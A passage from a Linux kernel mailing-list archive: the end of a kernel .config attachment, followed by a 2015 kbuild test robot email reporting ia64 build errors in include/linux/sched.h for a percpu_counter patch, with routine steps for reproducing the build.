set CONFIG_USER_STACKTRACE_SUPPORT=y CONFIG_NOP_TRACER=y CONFIG_HAVE_FUNCTION_TRACER=y CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y CONFIG_HAVE_FUNCTION_GRAPH_FP_TEST=y CONFIG_HAVE_DYNAMIC_FTRACE=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y CONFIG_HAVE_SYSCALL_TRACEPOINTS=y CONFIG_HAVE_FENTRY=y CONFIG_HAVE_C_RECORDMCOUNT=y CONFIG_TRACER_MAX_TRACE=y CONFIG_TRACE_CLOCK=y CONFIG_RING_BUFFER=y CONFIG_EVENT_TRACING=y CONFIG_CONTEXT_SWITCH_TRACER=y CONFIG_TRACING=y CONFIG_GENERIC_TRACER=y CONFIG_TRACING_SUPPORT=y CONFIG_FTRACE=y CONFIG_FUNCTION_TRACER=y CONFIG_FUNCTION_GRAPH_TRACER=y # CONFIG_IRQSOFF_TRACER is not set CONFIG_SCHED_TRACER=y CONFIG_FTRACE_SYSCALLS=y CONFIG_TRACER_SNAPSHOT=y # CONFIG_TRACER_SNAPSHOT_PER_CPU_SWAP is not set CONFIG_BRANCH_PROFILE_NONE=y # CONFIG_PROFILE_ANNOTATED_BRANCHES is not set # CONFIG_PROFILE_ALL_BRANCHES is not set CONFIG_STACK_TRACER=y CONFIG_BLK_DEV_IO_TRACE=y CONFIG_KPROBE_EVENT=y CONFIG_UPROBE_EVENT=y CONFIG_PROBE_EVENTS=y CONFIG_DYNAMIC_FTRACE=y CONFIG_DYNAMIC_FTRACE_WITH_REGS=y CONFIG_FUNCTION_PROFILER=y CONFIG_FTRACE_MCOUNT_RECORD=y # CONFIG_FTRACE_STARTUP_TEST is not set # CONFIG_MMIOTRACE is not set # CONFIG_TRACEPOINT_BENCHMARK is not set # CONFIG_RING_BUFFER_BENCHMARK is not set # CONFIG_RING_BUFFER_STARTUP_TEST is not set # CONFIG_TRACE_ENUM_MAP_FILE is not set # # Runtime Testing # # CONFIG_LKDTM is not set # CONFIG_TEST_LIST_SORT is not set # CONFIG_KPROBES_SANITY_TEST is not set # CONFIG_BACKTRACE_SELF_TEST is not set # CONFIG_RBTREE_TEST is not set # CONFIG_INTERVAL_TREE_TEST is not set # CONFIG_PERCPU_TEST is not set CONFIG_ATOMIC64_SELFTEST=y # CONFIG_TEST_HEXDUMP is not set # CONFIG_TEST_STRING_HELPERS is not set CONFIG_TEST_KSTRTOX=y # CONFIG_TEST_RHASHTABLE is not set CONFIG_PROVIDE_OHCI1394_DMA_INIT=y CONFIG_BUILD_DOCSRC=y # CONFIG_DMA_API_DEBUG is not set # CONFIG_TEST_LKM is not set # CONFIG_TEST_USER_COPY is not set # CONFIG_TEST_BPF is not set # CONFIG_TEST_FIRMWARE is not set # CONFIG_TEST_UDELAY is not set # CONFIG_MEMTEST is not set # CONFIG_SAMPLES is not set CONFIG_HAVE_ARCH_KGDB=y CONFIG_KGDB=y CONFIG_KGDB_SERIAL_CONSOLE=y CONFIG_KGDB_TESTS=y # CONFIG_KGDB_TESTS_ON_BOOT is not set CONFIG_KGDB_LOW_LEVEL_TRAP=y CONFIG_KGDB_KDB=y CONFIG_KDB_DEFAULT_ENABLE=0x0 CONFIG_KDB_KEYBOARD=y CONFIG_KDB_CONTINUE_CATASTROPHIC=0 CONFIG_STRICT_DEVMEM=y # CONFIG_X86_VERBOSE_BOOTUP is not set CONFIG_EARLY_PRINTK=y CONFIG_EARLY_PRINTK_DBGP=y CONFIG_EARLY_PRINTK_EFI=y CONFIG_X86_PTDUMP=y # CONFIG_EFI_PGT_DUMP is not set CONFIG_DEBUG_RODATA=y CONFIG_DEBUG_RODATA_TEST=y CONFIG_DEBUG_SET_MODULE_RONX=y # CONFIG_DEBUG_NX_TEST is not set CONFIG_DOUBLEFAULT=y # CONFIG_DEBUG_TLBFLUSH is not set # CONFIG_IOMMU_STRESS is not set CONFIG_HAVE_MMIOTRACE_SUPPORT=y CONFIG_X86_DECODER_SELFTEST=y CONFIG_IO_DELAY_TYPE_0X80=0 CONFIG_IO_DELAY_TYPE_0XED=1 CONFIG_IO_DELAY_TYPE_UDELAY=2 CONFIG_IO_DELAY_TYPE_NONE=3 CONFIG_IO_DELAY_0X80=y # CONFIG_IO_DELAY_0XED is not set # CONFIG_IO_DELAY_UDELAY is not set # CONFIG_IO_DELAY_NONE is not set CONFIG_DEFAULT_IO_DELAY_TYPE=0 CONFIG_DEBUG_BOOT_PARAMS=y # CONFIG_CPA_DEBUG is not set CONFIG_OPTIMIZE_INLINING=y # CONFIG_DEBUG_ENTRY is not set # CONFIG_DEBUG_NMI_SELFTEST is not set # CONFIG_X86_DEBUG_STATIC_CPU_HAS is not set CONFIG_X86_DEBUG_FPU=y # CONFIG_PUNIT_ATOM_DEBUG is not set # # Security options # CONFIG_KEYS=y CONFIG_PERSISTENT_KEYRINGS=y CONFIG_BIG_KEYS=y # CONFIG_ENCRYPTED_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set CONFIG_SECURITY=y CONFIG_SECURITYFS=y CONFIG_SECURITY_NETWORK=y CONFIG_SECURITY_NETWORK_XFRM=y # CONFIG_SECURITY_PATH is not set CONFIG_INTEL_TXT=y CONFIG_LSM_MMAP_MIN_ADDR=65536 CONFIG_SECURITY_SELINUX=y CONFIG_SECURITY_SELINUX_BOOTPARAM=y CONFIG_SECURITY_SELINUX_BOOTPARAM_VALUE=1 CONFIG_SECURITY_SELINUX_DISABLE=y CONFIG_SECURITY_SELINUX_DEVELOP=y CONFIG_SECURITY_SELINUX_AVC_STATS=y CONFIG_SECURITY_SELINUX_CHECKREQPROT_VALUE=1 # CONFIG_SECURITY_SELINUX_POLICYDB_VERSION_MAX is not set # CONFIG_SECURITY_SMACK is not set # CONFIG_SECURITY_TOMOYO is not set # CONFIG_SECURITY_APPARMOR is not set CONFIG_SECURITY_YAMA=y # CONFIG_SECURITY_YAMA_STACKED is not set # CONFIG_INTEGRITY is not set CONFIG_DEFAULT_SECURITY_SELINUX=y # CONFIG_DEFAULT_SECURITY_YAMA is not set # CONFIG_DEFAULT_SECURITY_DAC is not set CONFIG_DEFAULT_SECURITY="selinux" CONFIG_CRYPTO=y # # Crypto core or helper # CONFIG_CRYPTO_FIPS=y CONFIG_CRYPTO_ALGAPI=y CONFIG_CRYPTO_ALGAPI2=y CONFIG_CRYPTO_AEAD=y CONFIG_CRYPTO_AEAD2=y CONFIG_CRYPTO_BLKCIPHER=y CONFIG_CRYPTO_BLKCIPHER2=y CONFIG_CRYPTO_HASH=y CONFIG_CRYPTO_HASH2=y CONFIG_CRYPTO_RNG=y CONFIG_CRYPTO_RNG2=y CONFIG_CRYPTO_RNG_DEFAULT=y CONFIG_CRYPTO_PCOMP2=y CONFIG_CRYPTO_AKCIPHER2=y # CONFIG_CRYPTO_RSA is not set CONFIG_CRYPTO_MANAGER=y CONFIG_CRYPTO_MANAGER2=y # CONFIG_CRYPTO_USER is not set # CONFIG_CRYPTO_MANAGER_DISABLE_TESTS is not set CONFIG_CRYPTO_GF128MUL=y CONFIG_CRYPTO_NULL=y # CONFIG_CRYPTO_PCRYPT is not set CONFIG_CRYPTO_WORKQUEUE=y CONFIG_CRYPTO_CRYPTD=y # CONFIG_CRYPTO_MCRYPTD is not set # CONFIG_CRYPTO_AUTHENC is not set # CONFIG_CRYPTO_TEST is not set CONFIG_CRYPTO_ABLK_HELPER=y CONFIG_CRYPTO_GLUE_HELPER_X86=y # # Authenticated Encryption with Associated Data # # CONFIG_CRYPTO_CCM is not set # CONFIG_CRYPTO_GCM is not set # CONFIG_CRYPTO_CHACHA20POLY1305 is not set CONFIG_CRYPTO_SEQIV=y # CONFIG_CRYPTO_ECHAINIV is not set # # Block modes # CONFIG_CRYPTO_CBC=y CONFIG_CRYPTO_CTR=y CONFIG_CRYPTO_CTS=y CONFIG_CRYPTO_ECB=y CONFIG_CRYPTO_LRW=y # CONFIG_CRYPTO_PCBC is not set CONFIG_CRYPTO_XTS=y # # Hash modes # # CONFIG_CRYPTO_CMAC is not set CONFIG_CRYPTO_HMAC=y # CONFIG_CRYPTO_XCBC is not set # CONFIG_CRYPTO_VMAC is not set # # Digest # CONFIG_CRYPTO_CRC32C=y CONFIG_CRYPTO_CRC32C_INTEL=y # CONFIG_CRYPTO_CRC32 is not set CONFIG_CRYPTO_CRC32_PCLMUL=y CONFIG_CRYPTO_CRCT10DIF=y CONFIG_CRYPTO_CRCT10DIF_PCLMUL=y # CONFIG_CRYPTO_GHASH is not set # CONFIG_CRYPTO_POLY1305 is not set # CONFIG_CRYPTO_MD4 is not set CONFIG_CRYPTO_MD5=y # CONFIG_CRYPTO_MICHAEL_MIC is not set # CONFIG_CRYPTO_RMD128 is not set # CONFIG_CRYPTO_RMD160 is not set # CONFIG_CRYPTO_RMD256 is not set # CONFIG_CRYPTO_RMD320 is not set CONFIG_CRYPTO_SHA1=y # CONFIG_CRYPTO_SHA1_SSSE3 is not set # CONFIG_CRYPTO_SHA256_SSSE3 is not set # CONFIG_CRYPTO_SHA512_SSSE3 is not set # CONFIG_CRYPTO_SHA1_MB is not set CONFIG_CRYPTO_SHA256=y # CONFIG_CRYPTO_SHA512 is not set # CONFIG_CRYPTO_TGR192 is not set # CONFIG_CRYPTO_WP512 is not set CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL=y # # Ciphers # CONFIG_CRYPTO_AES=y CONFIG_CRYPTO_AES_X86_64=y CONFIG_CRYPTO_AES_NI_INTEL=y # CONFIG_CRYPTO_ANUBIS is not set CONFIG_CRYPTO_ARC4=y # CONFIG_CRYPTO_BLOWFISH is not set # CONFIG_CRYPTO_BLOWFISH_X86_64 is not set # CONFIG_CRYPTO_CAMELLIA is not set # CONFIG_CRYPTO_CAMELLIA_X86_64 is not set # CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set # CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set # CONFIG_CRYPTO_CAST5 is not set # CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set # CONFIG_CRYPTO_CAST6 is not set # CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set CONFIG_CRYPTO_DES=y # CONFIG_CRYPTO_DES3_EDE_X86_64 is not set # CONFIG_CRYPTO_FCRYPT is not set # CONFIG_CRYPTO_KHAZAD is not set # CONFIG_CRYPTO_SALSA20 is not set # CONFIG_CRYPTO_SALSA20_X86_64 is not set # CONFIG_CRYPTO_CHACHA20 is not set # CONFIG_CRYPTO_SEED is not set # CONFIG_CRYPTO_SERPENT is not set # CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set # CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set # CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set # CONFIG_CRYPTO_TEA is not set # CONFIG_CRYPTO_TWOFISH is not set # CONFIG_CRYPTO_TWOFISH_X86_64 is not set # CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set # CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set # # Compression # # CONFIG_CRYPTO_DEFLATE is not set # CONFIG_CRYPTO_ZLIB is not set CONFIG_CRYPTO_LZO=y # CONFIG_CRYPTO_842 is not set # CONFIG_CRYPTO_LZ4 is not set # CONFIG_CRYPTO_LZ4HC is not set # # Random Number Generation # # CONFIG_CRYPTO_ANSI_CPRNG is not set CONFIG_CRYPTO_DRBG_MENU=y CONFIG_CRYPTO_DRBG_HMAC=y # CONFIG_CRYPTO_DRBG_HASH is not set # CONFIG_CRYPTO_DRBG_CTR is not set CONFIG_CRYPTO_DRBG=y CONFIG_CRYPTO_JITTERENTROPY=y CONFIG_CRYPTO_USER_API=y CONFIG_CRYPTO_USER_API_HASH=y CONFIG_CRYPTO_USER_API_SKCIPHER=y CONFIG_CRYPTO_USER_API_RNG=y # CONFIG_CRYPTO_USER_API_AEAD is not set CONFIG_CRYPTO_HASH_INFO=y CONFIG_CRYPTO_HW=y # CONFIG_CRYPTO_DEV_PADLOCK is not set CONFIG_CRYPTO_DEV_CCP=y # CONFIG_CRYPTO_DEV_CCP_DD is not set # CONFIG_CRYPTO_DEV_QAT_DH895xCC is not set CONFIG_ASYMMETRIC_KEY_TYPE=y CONFIG_ASYMMETRIC_PUBLIC_KEY_SUBTYPE=y CONFIG_PUBLIC_KEY_ALGO_RSA=y CONFIG_X509_CERTIFICATE_PARSER=y CONFIG_PKCS7_MESSAGE_PARSER=y # CONFIG_PKCS7_TEST_KEY is not set CONFIG_SIGNED_PE_FILE_VERIFICATION=y CONFIG_HAVE_KVM=y CONFIG_KVM_COMPAT=y CONFIG_VIRTUALIZATION=y # CONFIG_KVM is not set CONFIG_BINARY_PRINTF=y # # Library routines # CONFIG_BITREVERSE=y # CONFIG_HAVE_ARCH_BITREVERSE is not set CONFIG_RATIONAL=y CONFIG_GENERIC_STRNCPY_FROM_USER=y CONFIG_GENERIC_STRNLEN_USER=y CONFIG_GENERIC_NET_UTILS=y CONFIG_GENERIC_FIND_FIRST_BIT=y CONFIG_GENERIC_PCI_IOMAP=y CONFIG_GENERIC_IOMAP=y CONFIG_GENERIC_IO=y CONFIG_PERCPU_RWSEM=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y CONFIG_CRC_T10DIF=y # CONFIG_CRC_ITU_T is not set CONFIG_CRC32=y # CONFIG_CRC32_SELFTEST is not set CONFIG_CRC32_SLICEBY8=y # CONFIG_CRC32_SLICEBY4 is not set # CONFIG_CRC32_SARWATE is not set # CONFIG_CRC32_BIT is not set # CONFIG_CRC7 is not set CONFIG_LIBCRC32C=y # CONFIG_CRC8 is not set # CONFIG_AUDIT_ARCH_COMPAT_GENERIC is not set # CONFIG_RANDOM32_SELFTEST is not set CONFIG_ZLIB_INFLATE=y CONFIG_ZLIB_DEFLATE=y CONFIG_LZO_COMPRESS=y CONFIG_LZO_DECOMPRESS=y CONFIG_LZ4_DECOMPRESS=y CONFIG_XZ_DEC=y CONFIG_XZ_DEC_X86=y CONFIG_XZ_DEC_POWERPC=y CONFIG_XZ_DEC_IA64=y CONFIG_XZ_DEC_ARM=y CONFIG_XZ_DEC_ARMTHUMB=y CONFIG_XZ_DEC_SPARC=y CONFIG_XZ_DEC_BCJ=y # CONFIG_XZ_DEC_TEST is not set CONFIG_DECOMPRESS_GZIP=y CONFIG_DECOMPRESS_BZIP2=y CONFIG_DECOMPRESS_LZMA=y CONFIG_DECOMPRESS_XZ=y CONFIG_DECOMPRESS_LZO=y CONFIG_DECOMPRESS_LZ4=y CONFIG_GENERIC_ALLOCATOR=y CONFIG_ASSOCIATIVE_ARRAY=y CONFIG_HAS_IOMEM=y CONFIG_HAS_IOPORT_MAP=y CONFIG_HAS_DMA=y CONFIG_CPU_RMAP=y CONFIG_DQL=y CONFIG_GLOB=y # CONFIG_GLOB_SELFTEST is not set CONFIG_NLATTR=y CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE=y CONFIG_AVERAGE=y CONFIG_CLZ_TAB=y # CONFIG_CORDIC is not set # CONFIG_DDR is not set CONFIG_MPILIB=y CONFIG_OID_REGISTRY=y CONFIG_UCS2_STRING=y CONFIG_FONT_SUPPORT=y # CONFIG_FONTS is not set CONFIG_FONT_8x8=y CONFIG_FONT_8x16=y CONFIG_ARCH_HAS_SG_CHAIN=y CONFIG_ARCH_HAS_PMEM_API=y --x+6KMIRAuhnl3hBn-- From fengguang.wu@intel.com Fri Oct 2 13:05:04 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.7 required=5.0 tests=FAKE_REPLY_C autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 580C27F55 for ; Fri, 2 Oct 2015 13:05:04 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id EE2D88F8033 for ; Fri, 2 Oct 2015 11:05:00 -0700 (PDT) X-ASG-Debug-ID: 1443809098-04bdf046261bab80001-NocioJ Received: from mga14.intel.com ([192.55.52.115]) by cuda.sgi.com with ESMTP id yRnF24AwrAbeUJw7 for ; Fri, 02 Oct 2015 11:04:58 -0700 (PDT) X-Barracuda-Envelope-From: fengguang.wu@intel.com X-Barracuda-Apparent-Source-IP: 192.55.52.115 Received: from orsmga002.jf.intel.com ([10.7.209.21]) by fmsmga103.fm.intel.com with ESMTP; 02 Oct 2015 11:04:55 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,624,1437462000"; d="gz'50?scan'50,208,50";a="818120059" Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14]) by orsmga002.jf.intel.com with ESMTP; 02 Oct 2015 11:04:54 -0700 Received: from kbuild by bee with local (Exim 4.83) (envelope-from ) id 1Zi4hF-000Qza-Pk; Sat, 03 Oct 2015 02:04:41 +0800 Date: Sat, 3 Oct 2015 02:04:14 +0800 From: kbuild test robot To: Waiman Long Cc: kbuild-all@01.org, Dave Chinner , Tejun Heo , Christoph Lameter , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Scott J Norton , Douglas Hatch , Waiman Long Subject: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() Message-ID: <201510030251.LfYJ2hol%fengguang.wu@intel.com> X-ASG-Orig-Subj: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="RnlQjJ0d97Da+TV1" Content-Disposition: inline In-Reply-To: <1443806997-30792-1-git-send-email-Waiman.Long@hpe.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: fengguang.wu@intel.com X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false X-Barracuda-Connect: UNKNOWN[192.55.52.115] X-Barracuda-Start-Time: 1443809098 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FUZZY_VPILL, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23123 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 FUZZY_VPILL BODY: Attempt to obfuscate words in spam 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS --RnlQjJ0d97Da+TV1 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi Waiman, [auto build test results on v4.3-rc3 -- if it's inappropriate base, please ignore] config: ia64-allnoconfig (attached as .config) reproduce: wget https://git.kernel.org/cgit/linux/kernel/git/wfg/lkp-tests.git/plain/sbin/make.cross -O ~/bin/make.cross chmod +x ~/bin/make.cross # save the attached .config to linux build tree make.cross ARCH=ia64 All error/warnings (new ones prefixed by >>): include/linux/sched.h:326:19: error: storage class specified for parameter 'mmlist_lock' extern spinlock_t mmlist_lock; ^ include/linux/sched.h:328:1: warning: empty declaration struct task_struct; ^ include/linux/sched.h:334:13: error: storage class specified for parameter 'sched_init' extern void sched_init(void); ^ include/linux/sched.h:335:13: error: storage class specified for parameter 'sched_init_smp' extern void sched_init_smp(void); ^ include/linux/sched.h:336:24: error: storage class specified for parameter 'schedule_tail' extern asmlinkage void schedule_tail(struct task_struct *prev); ^ include/linux/sched.h:337:13: error: storage class specified for parameter 'init_idle' extern void init_idle(struct task_struct *idle, int cpu); ^ include/linux/sched.h:338:13: error: storage class specified for parameter 'init_idle_bootup_task' extern void init_idle_bootup_task(struct task_struct *idle); ^ include/linux/sched.h:340:22: error: storage class specified for parameter 'cpu_isolated_map' extern cpumask_var_t cpu_isolated_map; ^ include/linux/sched.h:342:12: error: storage class specified for parameter 'runqueue_is_locked' extern int runqueue_is_locked(int cpu); ^ include/linux/sched.h:349:53: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline void nohz_balance_enter_idle(int cpu) { } ^ include/linux/sched.h:350:48: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline void set_cpu_sd_state_idle(void) { } ^ include/linux/sched.h:356:13: error: storage class specified for parameter 'show_state_filter' extern void show_state_filter(unsigned long state_filter); ^ include/linux/sched.h:359:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:363:13: error: storage class specified for parameter 'show_regs' extern void show_regs(struct pt_regs *); ^ include/linux/sched.h:370:13: error: storage class specified for parameter 'show_stack' extern void show_stack(struct task_struct *task, unsigned long *sp); ^ include/linux/sched.h:372:13: error: storage class specified for parameter 'cpu_init' extern void cpu_init (void); ^ include/linux/sched.h:373:13: error: storage class specified for parameter 'trap_init' extern void trap_init(void); ^ include/linux/sched.h:374:13: error: storage class specified for parameter 'update_process_times' extern void update_process_times(int user); ^ include/linux/sched.h:375:13: error: storage class specified for parameter 'scheduler_tick' extern void scheduler_tick(void); ^ include/linux/sched.h:377:13: error: storage class specified for parameter 'sched_show_task' extern void sched_show_task(struct task_struct *p); ^ include/linux/sched.h:390:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:393:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:396:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:399:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:407:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:415:13: error: storage class specified for parameter '__sched_text_start' extern char __sched_text_start[], __sched_text_end[]; ^ include/linux/sched.h:415:35: error: storage class specified for parameter '__sched_text_end' extern char __sched_text_start[], __sched_text_end[]; ^ include/linux/sched.h:418:12: error: storage class specified for parameter 'in_sched_functions' extern int in_sched_functions(unsigned long addr); ^ include/linux/sched.h:421:20: error: storage class specified for parameter 'schedule_timeout' extern signed long schedule_timeout(signed long timeout); ^ include/linux/sched.h:422:20: error: storage class specified for parameter 'schedule_timeout_interruptible' extern signed long schedule_timeout_interruptible(signed long timeout); ^ include/linux/sched.h:423:20: error: storage class specified for parameter 'schedule_timeout_killable' extern signed long schedule_timeout_killable(signed long timeout); ^ include/linux/sched.h:424:20: error: storage class specified for parameter 'schedule_timeout_uninterruptible' extern signed long schedule_timeout_uninterruptible(signed long timeout); ^ In file included from include/linux/linkage.h:7:0, from include/linux/kernel.h:6, from include/linux/sched.h:17, from arch/ia64/kernel/asm-offsets.c:9: >> arch/ia64/include/asm/linkage.h:6:35: error: expected declaration specifiers before '__attribute__' #define asmlinkage CPP_ASMLINKAGE __attribute__((syscall_linkage)) ^ >> include/linux/sched.h:425:1: note: in expansion of macro 'asmlinkage' asmlinkage void schedule(void); ^ In file included from arch/ia64/kernel/asm-offsets.c:9:0: include/linux/sched.h:426:13: error: storage class specified for parameter 'schedule_preempt_disabled' extern void schedule_preempt_disabled(void); ^ include/linux/sched.h:428:13: error: storage class specified for parameter 'io_schedule_timeout' extern long io_schedule_timeout(long timeout); ^ include/linux/sched.h:431:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:435:1: warning: empty declaration struct nsproxy; ^ include/linux/sched.h:436:1: warning: empty declaration struct user_namespace; ^ include/linux/sched.h:439:13: error: storage class specified for parameter 'arch_pick_mmap_layout' extern void arch_pick_mmap_layout(struct mm_struct *mm); ^ include/linux/sched.h:441:1: error: storage class specified for parameter 'arch_get_unmapped_area' arch_get_unmapped_area(struct file *, unsigned long, unsigned long, ^ include/linux/sched.h:444:1: error: storage class specified for parameter 'arch_get_unmapped_area_topdown' arch_get_unmapped_area_topdown(struct file *filp, unsigned long addr, ^ include/linux/sched.h:461:13: error: storage class specified for parameter 'set_dumpable' extern void set_dumpable(struct mm_struct *mm, int value); ^ include/linux/sched.h:469:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:474:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:510:1: warning: empty declaration struct sighand_struct { ^ include/linux/sched.h:517:1: warning: empty declaration struct pacct_struct { ^ include/linux/sched.h:525:1: warning: empty declaration struct cpu_itimer { ^ include/linux/sched.h:541:1: warning: empty declaration struct prev_cputime { ^ include/linux/sched.h:550:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:567:1: warning: empty declaration struct task_cputime { ^ include/linux/sched.h:589:1: warning: empty declaration struct task_cputime_atomic { ^ include/linux/sched.h:626:1: warning: empty declaration struct thread_group_cputimer { ^ include/linux/sched.h:632:1: warning: empty declaration struct autogroup; ^ include/linux/sched.h:641:1: warning: empty declaration struct signal_struct { ^ include/linux/sched.h:806:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:814:1: warning: empty declaration struct user_struct { ^ include/linux/sched.h:848:12: error: storage class specified for parameter 'uids_sysfs_init' extern int uids_sysfs_init(void); ^ include/linux/sched.h:850:28: error: storage class specified for parameter 'find_user' extern struct user_struct *find_user(kuid_t); ^ include/linux/sched.h:852:27: error: storage class specified for parameter 'root_user' extern struct user_struct root_user; ^ include/linux/sched.h:856:1: warning: empty declaration struct backing_dev_info; ^ include/linux/sched.h:857:1: warning: empty declaration struct reclaim_state; ^ include/linux/sched.h:906:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:917:1: warning: empty declaration enum cpu_idle_type { ^ include/linux/sched.h:956:1: warning: empty declaration struct wake_q_node { ^ include/linux/sched.h:960:1: warning: empty declaration struct wake_q_head { ^ include/linux/sched.h:970:13: error: storage class specified for parameter 'wake_q_add' extern void wake_q_add(struct wake_q_head *head, ^ include/linux/sched.h:972:13: error: storage class specified for parameter 'wake_up_q' extern void wake_up_q(struct wake_q_head *head); ^ include/linux/sched.h:1155:1: warning: empty declaration struct sched_domain_attr; ^ include/linux/sched.h:1160:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:1164:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:1171:1: warning: empty declaration struct io_context; /* See blkdev.h */ ^ >> include/linux/sched.h:1175:13: error: storage class specified for parameter 'prefetch_stack' extern void prefetch_stack(struct task_struct *t); ^ include/linux/sched.h:1180:1: warning: empty declaration struct audit_context; /* See audit.c */ ^ include/linux/sched.h:1181:1: warning: empty declaration struct mempolicy; ^ include/linux/sched.h:1182:1: warning: empty declaration struct pipe_inode_info; ^ include/linux/sched.h:1183:1: warning: empty declaration struct uts_namespace; ^ include/linux/sched.h:1185:1: warning: empty declaration struct load_weight { ^ include/linux/sched.h:1204:1: warning: empty declaration struct sched_avg { ^ include/linux/sched.h:1246:1: warning: empty declaration struct sched_entity { ^ include/linux/sched.h:1278:1: warning: empty declaration struct sched_rt_entity { ^ include/linux/sched.h:1294:1: warning: empty declaration struct sched_dl_entity { ^ include/linux/sched.h:1343:1: warning: empty declaration union rcu_special { ^ include/linux/sched.h:1350:1: warning: empty declaration struct rcu_node; ^ include/linux/sched.h:1352:1: warning: empty declaration enum perf_event_task_context { ^ include/linux/sched.h:1360:1: warning: empty declaration struct tlbflush_unmap_batch { ^ include/linux/sched.h:1378:1: warning: empty declaration struct task_struct { ^ include/linux/sched.h:1850:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:1853:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:1857:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:1860:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:1864:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:1870:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:1875:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:1885:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:1890:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:1894:1: warning: empty declaration struct pid_namespace; ^ include/linux/sched.h:1913:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:1919:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:1924:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:1930:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:1937:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/sched.h:1942:19: error: storage class specified for parameter 'pid_alive' static inline int pid_alive(const struct task_struct *p); ^ include/linux/sched.h:1942:19: warning: parameter 'pid_alive' declared 'inline' include/linux/sched.h:1942:42: warning: 'always_inline' attribute ignored [-Wattributes] static inline int pid_alive(const struct task_struct *p); ^ include/linux/sched.h:1942:19: error: 'no_instrument_function' attribute applies only to functions static inline int pid_alive(const struct 